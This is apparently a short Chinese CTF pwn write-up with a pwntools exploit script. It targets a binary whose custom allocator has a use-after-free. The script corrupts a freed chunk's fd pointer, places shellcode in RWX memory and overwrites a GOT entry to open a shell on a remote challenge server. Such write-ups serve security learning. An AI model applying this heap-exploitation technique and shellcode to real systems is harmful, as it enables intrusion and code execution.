程序重新自己实现了简单的malloc和free,并且存在uaf,可以直接修改free掉过的chunk的fd指向存在"\x7F"的stdin附近(程序没有PIE),而后注意到其malloc的实现时调用map生成的地址可读可写可执行,将一个note指向got表,将其修改到布置好shellcode的地址即可。
from pwn import * context.log_level="debug" context.arch="amd64" def add(size): p.sendlineafter("| ","A") p.sendlineafter(": ",str(size)) def delete(index): p.sendlineafter("| ","F") p.sendlineafter(": ",str(index)) def edit(index,note): p.sendlineafter("| ","W") p.sendlineafter(": ",str(index)) p.sendafter(": ",note) #p=process("./0xbird1") p=remote("154.8.174.214",10000) add(0x18) add(0x68) edit(2,asm(shellcraft.sh())) delete(1) edit(1,p64(0)+p64(0x602095)) #0x60208d add(0x68) edit(3,"\x00\x00\x00"+p64(0x602018)) #gdb.attach(p) p.sendlineafter("| ","W") p.recvuntil("2) ") shell=int(p.recvuntil(" "),16) print hex(shell) p.sendlineafter(": ","1") p.sendafter(": ",p64(shell)) #gdb.attach(p) p.interactive()